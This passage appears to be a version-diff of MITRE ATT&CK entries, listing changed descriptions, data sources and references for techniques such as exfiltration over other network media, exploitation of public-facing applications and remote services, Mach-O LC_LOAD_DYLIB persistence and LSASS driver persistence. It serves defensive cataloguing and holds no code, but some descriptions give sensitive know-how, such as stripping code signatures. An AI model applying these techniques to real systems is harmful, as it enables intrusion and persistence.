| external_references[6]['description'] | FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019. | Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019. |
| external_references[6]['url'] | https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf | https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf |
| external_references[7]['source_name'] | Symantec DDoS October 2014 | capec |
| external_references[7]['url'] | https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf | https://capec.mitre.org/data/definitions/227.html |
| external_references[8]['source_name'] | USNYAG IranianBotnet March 2016 | capec |
| external_references[8]['url'] | https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged | https://capec.mitre.org/data/definitions/131.html |
| external_references[9]['source_name'] | ArsTechnica Great Firewall of China | capec |
| external_references[9]['url'] | https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/ | https://capec.mitre.org/data/definitions/130.html |
| external_references[10]['source_name'] | Cisco DoSdetectNetflow | capec |
| external_references[10]['url'] | https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf | https://capec.mitre.org/data/definitions/125.html |
| x_mitre_data_sources[0] | Sensor Health: Host Status | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Application Log: Application Log Content | Sensor Health: Host Status |
| x_mitre_data_sources[2] | Network Traffic: Network Traffic Content | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[3] | Network Traffic: Network Traffic Flow | Application Log: Application Log Content |
[T1546] Event Triggered Execution
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-16 20:11:14.193000+00:00 | 2022-02-08 16:39:09.283000+00:00 |
| x_mitre_data_sources[0] | Process: Process Creation | File: File Modification |
| x_mitre_data_sources[1] | Windows Registry: Windows Registry Key Modification | Command: Command Execution |
| x_mitre_data_sources[2] | Command: Command Execution | Module: Module Load |
| x_mitre_data_sources[3] | File: File Creation | WMI: WMI Creation |
| x_mitre_data_sources[4] | File: File Modification | File: File Creation |
| x_mitre_data_sources[5] | WMI: WMI Creation | Process: Process Creation |
| x_mitre_data_sources[6] | File: File Metadata | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[7] | Module: Module Load | File: File Metadata |
[T1011] Exfiltration Over Other Network Medium
Current version: 1.1
|
|
|---|
| t | Adversaries may attempt to exfiltrate data over a different | t | Adversaries may attempt to exfiltrate data over a different |
| network medium than the command and control channel. If the | | network medium than the command and control channel. If the |
| command and control network is a wired Internet connection, | | command and control network is a wired Internet connection, |
| the exfiltration may occur, for example, over a WiFi connect | | the exfiltration may occur, for example, over a WiFi connect |
| ion, modem, cellular data connection, Bluetooth, or another | | ion, modem, cellular data connection, Bluetooth, or another |
| radio frequency (RF) channel. Adversaries may choose to do | | radio frequency (RF) channel. Adversaries may choose to do |
| this if they have sufficient access or proximity, and the co | | this if they have sufficient access or proximity, and the co |
| nnection might not be secured or defended as well as the pri | | nnection might not be secured or defended as well as the pri |
| mary Internet-connected channel because it is not routed thr | | mary Internet-connected channel because it is not routed thr |
| ough the same enterprise network | | ough the same enterprise network. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
| x_mitre_network_requirements | True | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-28 00:35:24.570000+00:00 | 2022-03-08 21:02:16.115000+00:00 |
| description | Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.
Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network | Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.
Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network. |
| x_mitre_data_sources[0] | Network Traffic: Network Connection Creation | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Network Traffic: Network Traffic Flow | Command: Command Execution |
| x_mitre_data_sources[2] | Network Traffic: Network Traffic Content | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[3] | File: File Access | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[4] | Command: Command Execution | File: File Access |
[T1190] Exploit Public-Facing Application
Current version: 2.3
|
|
|---|
| t | Adversaries may attempt to take advantage of a weakness in a | t | Adversaries may attempt to take advantage of a weakness in a |
| n Internet-facing computer or program using software, data, | | n Internet-facing computer or program using software, data, |
| or commands in order to cause unintended or unanticipated be | | or commands in order to cause unintended or unanticipated be |
| havior. The weakness in the system can be a bug, a glitch, o | | havior. The weakness in the system can be a bug, a glitch, o |
| r a design vulnerability. These applications are often websi | | r a design vulnerability. These applications are often websi |
| tes, but can include databases (like SQL)(Citation: NVD CVE- | | tes, but can include databases (like SQL), standard services |
| 2016-6662), standard services (like SMB(Citation: CIS Multip | | (like SMB or SSH), network device administration and manage |
| le SMB Vulnerabilities) or SSH), network device administrati | | ment protocols (like SNMP and Smart Install), and any other |
| on and management protocols (like SNMP and Smart Install(Cit | | applications with Internet accessible open sockets, such as |
| ation: US-CERT TA18-106A Network Infrastructure Devices 2018 | | web servers and related services.(Citation: NVD CVE-2016-666 |
| )(Citation: Cisco Blog Legacy Device Attacks)), and any othe | | 2)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US- |
| r applications with Internet accessible open sockets, such a | | CERT TA18-106A Network Infrastructure Devices 2018)(Citation |
| s web servers and related services.(Citation: NVD CVE-2014-7 | | : Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7 |
| 169) Depending on the flaw being exploited this may include | | 169) Depending on the flaw being exploited this may include |
| [Exploitation for Defense Evasion](https://attack.mitre.org/ | | [Exploitation for Defense Evasion](https://attack.mitre.org/ |
| techniques/T1211). If an application is hosted on cloud-ba | | techniques/T1211). If an application is hosted on cloud-ba |
| sed infrastructure and/or is containerized, then exploiting | | sed infrastructure and/or is containerized, then exploiting |
| it may lead to compromise of the underlying instance or cont | | it may lead to compromise of the underlying instance or cont |
| ainer. This can allow an adversary a path to access the clou | | ainer. This can allow an adversary a path to access the clou |
| d or container APIs, exploit container host access via [Esca | | d or container APIs, exploit container host access via [Esca |
| pe to Host](https://attack.mitre.org/techniques/T1611), or t | | pe to Host](https://attack.mitre.org/techniques/T1611), or t |
| ake advantage of weak identity and access management policie | | ake advantage of weak identity and access management policie |
| s. For websites and databases, the OWASP top 10 and CWE top | | s. For websites and databases, the OWASP top 10 and CWE top |
| 25 highlight the most common web-based vulnerabilities.(Cit | | 25 highlight the most common web-based vulnerabilities.(Cit |
| ation: OWASP Top 10)(Citation: CWE top 25) | | ation: OWASP Top 10)(Citation: CWE top 25) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-07-20 21:51:45.776000+00:00 | 2022-04-19 17:06:53.032000+00:00 |
| description | Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), network device administration and management protocols (like SNMP and Smart Install(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211).
If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.
For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25) | Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211).
If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.
For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25) |
| external_references[1]['source_name'] | NVD CVE-2016-6662 | CWE top 25 |
| external_references[1]['description'] | National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018. | Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019. |
| external_references[1]['url'] | https://nvd.nist.gov/vuln/detail/CVE-2016-6662 | https://cwe.mitre.org/top25/index.html |
| external_references[3]['source_name'] | US-CERT TA18-106A Network Infrastructure Devices 2018 | NVD CVE-2016-6662 |
| external_references[3]['description'] | US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. | National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018. |
| external_references[3]['url'] | https://us-cert.cisa.gov/ncas/alerts/TA18-106A | https://nvd.nist.gov/vuln/detail/CVE-2016-6662 |
| external_references[4]['source_name'] | Cisco Blog Legacy Device Attacks | NVD CVE-2014-7169 |
| external_references[4]['description'] | Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. | National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018. |
| external_references[4]['url'] | https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 | https://nvd.nist.gov/vuln/detail/CVE-2014-7169 |
| external_references[5]['source_name'] | NVD CVE-2014-7169 | Cisco Blog Legacy Device Attacks |
| external_references[5]['description'] | National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018. | Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. |
| external_references[5]['url'] | https://nvd.nist.gov/vuln/detail/CVE-2014-7169 | https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 |
| external_references[7]['source_name'] | CWE top 25 | US-CERT TA18-106A Network Infrastructure Devices 2018 |
| external_references[7]['description'] | Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019. | US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. |
| external_references[7]['url'] | https://cwe.mitre.org/top25/index.html | https://us-cert.cisa.gov/ncas/alerts/TA18-106A |
| x_mitre_data_sources[0] | Application Log: Application Log Content | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Network Traffic: Network Traffic Content | Application Log: Application Log Content |
[T1210] Exploitation of Remote Services
Current version: 1.1
|
|
|---|
| t | Adversaries may exploit remote services to gain unauthorized | t | Adversaries may exploit remote services to gain unauthorized |
| access to internal systems once inside of a network. Exploi | | access to internal systems once inside of a network. Exploi |
| tation of a software vulnerability occurs when an adversary | | tation of a software vulnerability occurs when an adversary |
| takes advantage of a programming error in a program, service | | takes advantage of a programming error in a program, service |
| , or within the operating system software or kernel itself t | | , or within the operating system software or kernel itself t |
| o execute adversary-controlled code. A common goal for post- | | o execute adversary-controlled code. A common goal for post- |
| compromise exploitation of remote services is for lateral mo | | compromise exploitation of remote services is for lateral mo |
| vement to enable access to a remote system. An adversary ma | | vement to enable access to a remote system. An adversary ma |
| y need to determine if the remote system is in a vulnerable | | y need to determine if the remote system is in a vulnerable |
| state, which may be done through [Network Service Scanning]( | | state, which may be done through [Network Service Discovery] |
| https://attack.mitre.org/techniques/T1046) or other Discover | | (https://attack.mitre.org/techniques/T1046) or other Discove |
| y methods looking for common, vulnerable software that may b | | ry methods looking for common, vulnerable software that may |
| e deployed in the network, the lack of certain patches that | | be deployed in the network, the lack of certain patches that |
| may indicate vulnerabilities, or security software that may | | may indicate vulnerabilities, or security software that ma |
| be used to detect or contain remote exploitation. Servers a | | y be used to detect or contain remote exploitation. Servers |
| re likely a high value target for lateral movement exploitat | | are likely a high value target for lateral movement exploita |
| ion, but endpoint systems may also be at risk if they provid | | tion, but endpoint systems may also be at risk if they provi |
| e an advantage or access to additional resources. There are | | de an advantage or access to additional resources. There ar |
| several well-known vulnerabilities that exist in common ser | | e several well-known vulnerabilities that exist in common se |
| vices such as SMB (Citation: CIS Multiple SMB Vulnerabilitie | | rvices such as SMB (Citation: CIS Multiple SMB Vulnerabiliti |
| s) and RDP (Citation: NVD CVE-2017-0176) as well as applicat | | es) and RDP (Citation: NVD CVE-2017-0176) as well as applica |
| ions that may be used within internal networks such as MySQL | | tions that may be used within internal networks such as MySQ |
| (Citation: NVD CVE-2016-6662) and web server services. (Cit | | L (Citation: NVD CVE-2016-6662) and web server services.(Cit |
| ation: NVD CVE-2014-7169) Depending on the permissions leve | | ation: NVD CVE-2014-7169) Depending on the permissions leve |
| l of the vulnerable remote service an adversary may achieve | | l of the vulnerable remote service an adversary may achieve |
| [Exploitation for Privilege Escalation](https://attack.mitre | | [Exploitation for Privilege Escalation](https://attack.mitre |
| .org/techniques/T1068) as a result of lateral movement explo | | .org/techniques/T1068) as a result of lateral movement explo |
| itation as well. | | itation as well. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-22 20:23:01.478000+00:00 | 2022-02-24 15:06:46.006000+00:00 |
| description | Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.
An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.
There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169)
Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well. | Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.
An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.
There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169)
Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well. |
| x_mitre_data_sources[0] | Application Log: Application Log Content | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Network Traffic: Network Traffic Content | Application Log: Application Log Content |
| x_mitre_detection | Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system. | Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of [Discovery](https://attack.mitre.org/tactics/TA0007), or other unusual network traffic that may indicate additional tools transferred to the system. |
[T1564] Hide Artifacts
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-20 19:01:56.752000+00:00 | 2022-03-25 15:59:09.632000+00:00 |
| external_references[2]['description'] | Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 31, 2020. | Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021. |
| external_references[2]['url'] | http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf | https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf |
| x_mitre_data_sources[3] | File: File Creation | Service: Service Creation |
| x_mitre_data_sources[4] | Application Log: Application Log Content | Process: OS API Execution |
| x_mitre_data_sources[8] | Process: OS API Execution | Firmware: Firmware Modification |
| x_mitre_data_sources[10] | Firmware: Firmware Modification | File: File Creation |
| x_mitre_data_sources[11] | Service: Service Creation | Command: Command Execution |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | User Account: User Account Metadata |
| x_mitre_data_sources | | File: File Modification |
| x_mitre_data_sources | | Application Log: Application Log Content |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | User Account: User Account Metadata | |
| x_mitre_data_sources | File: File Modification | |
[T1562] Impair Defenses
Current version: 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-19 13:37:31.463000+00:00 | 2022-03-08 21:55:28.348000+00:00 |
| x_mitre_data_sources[0] | Process: Process Creation | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[1] | Process: Process Termination | Script: Script Execution |
| x_mitre_data_sources[2] | Windows Registry: Windows Registry Key Modification | Firewall: Firewall Disable |
| x_mitre_data_sources[3] | Windows Registry: Windows Registry Key Deletion | Sensor Health: Host Status |
| x_mitre_data_sources[4] | Command: Command Execution | Windows Registry: Windows Registry Key Deletion |
| x_mitre_data_sources[5] | Service: Service Metadata | Process: Process Termination |
| x_mitre_data_sources[6] | Sensor Health: Host Status | Service: Service Metadata |
| x_mitre_data_sources[7] | Script: Script Execution | Process: Process Creation |
| x_mitre_data_sources[8] | Firewall: Firewall Disable | Cloud Service: Cloud Service Modification |
| x_mitre_data_sources[9] | Firewall: Firewall Rule Modification | Command: Command Execution |
| x_mitre_data_sources[10] | Cloud Service: Cloud Service Modification | Cloud Service: Cloud Service Disable |
| x_mitre_data_sources[11] | Cloud Service: Cloud Service Disable | Firewall: Firewall Rule Modification |
[T1056] Input Capture
Current version: 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-24 18:21:08.497000+00:00 | 2022-03-08 21:05:20.658000+00:00 |
| x_mitre_data_sources[1] | Driver: Driver Load | Process: OS API Execution |
| x_mitre_data_sources[2] | Process: OS API Execution | Driver: Driver Load |
[T1546.006] Event Triggered Execution: LC_LOAD_DYLIB Addition
Current version: 1.0
|
|
|---|
| t | Adversaries may establish persistence by executing malicious | t | Adversaries may establish persistence by executing malicious |
| content triggered by the execution of tainted binaries. Mac | | content triggered by the execution of tainted binaries. Mac |
| h-O binaries have a series of headers that are used to perfo | | h-O binaries have a series of headers that are used to perfo |
| rm certain operations when a binary is loaded. The LC_LOAD_D | | rm certain operations when a binary is loaded. The LC_LOAD_D |
| YLIB header in a Mach-O binary tells macOS and OS X which dy | | YLIB header in a Mach-O binary tells macOS and OS X which dy |
| namic libraries (dylibs) to load during execution time. Thes | | namic libraries (dylibs) to load during execution time. Thes |
| e can be added ad-hoc to the compiled binary as long as adju | | e can be added ad-hoc to the compiled binary as long as adju |
| stments are made to the rest of the fields and dependencies. | | stments are made to the rest of the fields and dependencies. |
| (Citation: Writing Bad Malware for OSX) There are tools ava | | (Citation: Writing Bad Malware for OSX) There are tools avai |
| ilable to perform these changes. Adversaries may modify Mac | | lable to perform these changes. Adversaries may modify Mach |
| h-O binary headers to load and execute malicious dylibs ever | | -O binary headers to load and execute malicious dylibs every |
| y time the binary is executed. Although any changes will inv | | time the binary is executed. Although any changes will inva |
| alidate digital signatures on binaries because the binary is | | lidate digital signatures on binaries because the binary is |
| being modified, this can be remediated by simply removing t | | being modified, this can be remediated by simply removing th |
| he LC_CODE_SIGNATURE command from the binary so that the sig | | e LC_CODE_SIGNATURE command from the binary so that the sign |
| nature isn’t checked at load time. (Citation: Malware Persis | | ature isn’t checked at load time.(Citation: Malware Persiste |
| tence on OS X) | | nce on OS X) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-03-30 00:51:58.454000+00:00 | 2022-04-20 17:08:21.101000+00:00 |
| description | Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. (Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.
Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time. (Citation: Malware Persistence on OS X) | Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.
Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time.(Citation: Malware Persistence on OS X) |
| external_references[1]['source_name'] | Writing Bad Malware for OSX | Malware Persistence on OS X |
| external_references[1]['description'] | Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017. | Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017. |
| external_references[1]['url'] | https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
| external_references[2]['source_name'] | Malware Persistence on OS X | Writing Bad Malware for OSX |
| external_references[2]['description'] | Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017. | Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017. |
| external_references[2]['url'] | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf | https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf |
| x_mitre_data_sources[0] | Process: Process Creation | File: File Modification |
| x_mitre_data_sources[2] | File: File Metadata | Process: Process Creation |
| x_mitre_data_sources[3] | File: File Modification | File: File Metadata |
[T1547.008] Boot or Logon Autostart Execution: LSASS Driver
Current version: 1.0
|
|
|---|
| t | Adversaries may modify or add LSASS drivers to obtain persis | t | Adversaries may modify or add LSASS drivers to obtain persis |
| tence on compromised systems. The Windows security subsystem | | tence on compromised systems. The Windows security subsystem |
| is a set of components that manage and enforce the security | | is a set of components that manage and enforce the security |
| policy for a computer or domain. The Local Security Authori | | policy for a computer or domain. The Local Security Authori |
| ty (LSA) is the main component responsible for local securit | | ty (LSA) is the main component responsible for local securit |
| y policy and user authentication. The LSA includes multiple | | y policy and user authentication. The LSA includes multiple |
| dynamic link libraries (DLLs) associated with various other | | dynamic link libraries (DLLs) associated with various other |
| security functions, all of which run in the context of the L | | security functions, all of which run in the context of the L |
| SA Subsystem Service (LSASS) lsass.exe process. (Citation: M | | SA Subsystem Service (LSASS) lsass.exe process.(Citation: Mi |
| icrosoft Security Subsystem) Adversaries may target LSASS d | | crosoft Security Subsystem) Adversaries may target LSASS dr |
| rivers to obtain persistence. By either replacing or adding | | ivers to obtain persistence. By either replacing or adding i |
| illegitimate drivers (e.g., [Hijack Execution Flow](https:// | | llegitimate drivers (e.g., [Hijack Execution Flow](https://a |
| attack.mitre.org/techniques/T1574)), an adversary can use LS | | ttack.mitre.org/techniques/T1574)), an adversary can use LSA |
| A operations to continuously execute malicious payloads. | | operations to continuously execute malicious payloads. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-25 16:52:26.567000+00:00 | 2022-04-20 16:34:43.405000+00:00 |
| description | Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)
